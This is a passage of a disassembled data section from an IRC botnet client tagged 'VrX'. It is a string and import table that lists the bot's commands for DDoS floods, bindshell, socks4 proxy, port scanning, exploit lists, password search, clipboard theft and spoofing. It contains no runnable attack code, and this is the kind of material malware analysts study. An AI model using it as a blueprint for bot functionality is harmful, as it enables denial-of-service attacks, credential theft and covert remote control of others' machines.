unk_42BFD8 db 3 ; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0
align 4
dword_42BFF4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+2456o
dd 2Dh
unk_42C00C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42C038 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42C05C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE8o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42C088 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42C0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+240Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42C114 db 2Dh ; - ; DATA XREF: sub_401ACD+234Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C150 db 2Dh ; - ; DATA XREF: sub_401ACD+2265o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C18C db 2Dh ; - ; DATA XREF: sub_401ACD+21FAo
; sub_40BD91+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C204 db 2Dh ; - ; DATA XREF: sub_401ACD+2084o
; sub_40BD91+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42C238 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
unk_42C258 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o
db 3, 34h, 2
db 4Dh ; M
db 61h, 2 dup(53h)
db 20h
db 53h, 63h, 41h
db 6Eh ; n
db 2, 3, 2Dh
aFailedToSta_25 db ' Failed to start scan, port is invalid.',0
unk_42C290 db 2Dh ; - ; DATA XREF: sub_401ACD+1F6Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_42C2CC db 2Dh ; - ; DATA XREF: sub_401ACD+1EFBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o
; sub_401ACD+5B20o
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o
; sub_401ACD+5B19o
align 4
dword_42C34C dd 234032Dh, 3025A56h ; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0
align 4
unk_42C388 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0
unk_42C3C4 db 2Dh ; - ; DATA XREF: sub_401ACD+1C38o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo
align 10h
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+1BC8o
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o
align 4
aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co
align 10h
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o
unk_42C444 db 3 ; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB db '8,1-VrX- Crashing bot.',0
aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o
; sub_401ACD+1B71o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co
align 10h
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o
align 4
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo
align 10h
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o
align 4
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o
align 4
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o
align 10h
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o
align 10h
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo
unk_42C4EC db 2Dh ; - ; DATA XREF: sub_401ACD+19BDo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401ACD+19A2o
; sub_401ACD+3C81o ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+198Eo
align 10h
unk_42C520 db 3 ; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList db '8,1-VrX- Login list complete.',0
align 10h
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o
; sub_40B477+46o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+1902o
dword_42C564 dd 6F6877h ; DATA XREF: sub_401ACD+18E5o
dword_42C568 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C574 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+18D5o
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o
aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o
align 4
aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo
align 4
aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o
align 10h
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o
align 4
aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo
align 4
aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o
; sub_401ACD+17D5o
align 10h
aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o
aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o
align 10h
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o
align 4
aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do
align 4
aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o
aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo
aT: ; DATA XREF: sub_401ACD+16D9o
; .packed:00438AFCo
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o
unk_42C628 db 3 ; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0
align 4
unk_42C64C db 3 ; DATA XREF: sub_401ACD+1689o
a81VrxRebooting db '8,1-VrX- Rebooting system.',0
aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o
aI: ; DATA XREF: sub_401ACD+165Do
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401ACD+1648o
align 4
aS_1: ; DATA XREF: sub_401ACD+1633o
; .packed:00438B4Co
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo
align 4
aQ: ; DATA XREF: sub_401ACD+1609o
; .packed:off_438768o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o
align 10h
aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo
align 10h
aR: ; DATA XREF: sub_401ACD+15B5o
; sub_401ACD+3D8Eo ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o
align 10h
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
align 10h
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o
align 4
aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do
align 10h
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o
align 4
dword_42C70C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o
align 10h
aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo
align 4
dword_42C72C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o
align 10h
dword_42C750 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo
align 10h
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o
align 10h
dword_42C7A0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o
align 4
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co
unk_42C7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42C81C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o
; sub_401ACD+13A3o
dword_42C82C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1302o
; sub_401ACD+139Eo
dword_42C83C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o
; sub_401ACD+137Ao
dword_42C84C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+12E4o
; sub_401ACD+1375o
dword_42C85C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o
; sub_401ACD+13F5o
dword_42C868 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
; sub_401ACD+13F0o
dword_42C874 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
; sub_401ACD+13CCo
dword_42C880 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
; sub_401ACD+13C7o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o
align 4
dword_42C898 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo
; sub_401ACD+12C8o
dword_42C8A4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
; sub_401ACD+12C3o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo
align 4
dword_42C8BC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o
; sub_401ACD+12AAo
dword_42C8CC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11CDo
; sub_401ACD+12A5o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o
align 4
dword_42C8E8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o
; sub_401ACD+1328o
dword_42C8F8 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11A4o
; sub_401ACD+1323o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo
align 4
dword_42C914 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
; sub_401ACD+124Ao
dword_42C920 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
; sub_401ACD+1245o
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o
dword_42C934 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o
; sub_401ACD+122Co
dword_42C940 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
; sub_401ACD+1227o
dword_42C94C dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C958 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo
dword_42C968 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1129o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o
align 4
dword_42C988 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C994 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1100o
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo
align 4
dword_42C9C4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o
align 10h
dword_42C9E0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co
align 4
aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o
align 10h
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o
align 4
dword_42CA08 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1037o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o
; sub_401ACD+1085o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o
align 4
aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o
; sub_401ACD+2D26o
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo
; sub_401ACD+2D15o
align 4
aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o
align 4
aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co
align 4
aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o
align 10h
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o
align 10h
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o
align 4
aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o
; sub_401ACD+EDEo
aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o
align 10h
aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co
a63 db '63',0 ; DATA XREF: sub_401ACD+D69o
align 4
asc_42CAAC: ; DATA XREF: sub_401ACD+D41o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+CF9o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo
align 4
aUser_2 db '$user',0 ; DATA XREF: sub_401ACD+CBBo
align 4
aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o
aD db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo
aD_0 db '$%d-',0 ; DATA XREF: sub_401ACD+B77o
align 4
aK: ; DATA XREF: sub_401ACD+A9Fo
; sub_401ACD+3DBCo
unicode 0, <k>,0
aC: ; DATA XREF: sub_401ACD+A87o
; sub_401ACD+4AA4o
unicode 0, <c>,0
unk_42CAF4 db 2Dh ; - ; DATA XREF: sub_401ACD+A64o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42CB28 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42CB58 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0
align 10h
unk_42CB90 db 2Dh ; - ; DATA XREF: sub_401ACD+9D3o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 10h
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co
align 4
unk_42CBB8 db 2Dh ; - ; DATA XREF: sub_401ACD+91Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42CBFC db 2Dh ; - ; DATA XREF: sub_401ACD+904o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_42CC38 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+8F3o
dd 0A0Dh
dword_42CC50 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo
dword_42CC58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8B4o
dd 0D017325h, 0Ah
dword_42CC74 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o
dword_42CC80 dd 23h ; DATA XREF: sub_401ACD+7FAo
; sub_40CD43+1Bo
unk_42CC84 db 2Dh ; - ; DATA XREF: sub_401ACD+769o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_2 db '%s',0 ; DATA XREF: sub_401ACD+6EAo
; sub_401ACD+979o ...
align 4
aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o
align 10h
dword_42CCC0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o
dword_42CCC8 dd 323333h ; DATA XREF: sub_401ACD+62Fo
; sub_401ACD+AC1o ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do
; sub_409869+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o
; sub_409869+16o
unk_42CCDC db 3 ; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0
align 4
unk_42CCFC db 3 ; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o
; sub_40F3AA+5C6o
align 4
aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o
; sub_401ACD+5CDo
align 10h
aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo
align 10h
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+5F1o
unk_42CD50 db 3 ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2E79o ...
a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0
align 10h
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7A88o ...
align 4
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_417B76:loc_417BDEo
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3BBo ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_417B76+50o
align 4
asc_42CDBC: ; DATA XREF: sub_401ACD+19Ao
; sub_401ACD+7B9Do
unicode 0, <!>,0
asc_42CDC0: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E41o ...
unicode 0, < >,0
asc_42CDC4 db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_4025E6o
align 4
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
; sub_418AF1+65o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o
; sub_418AF1+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o
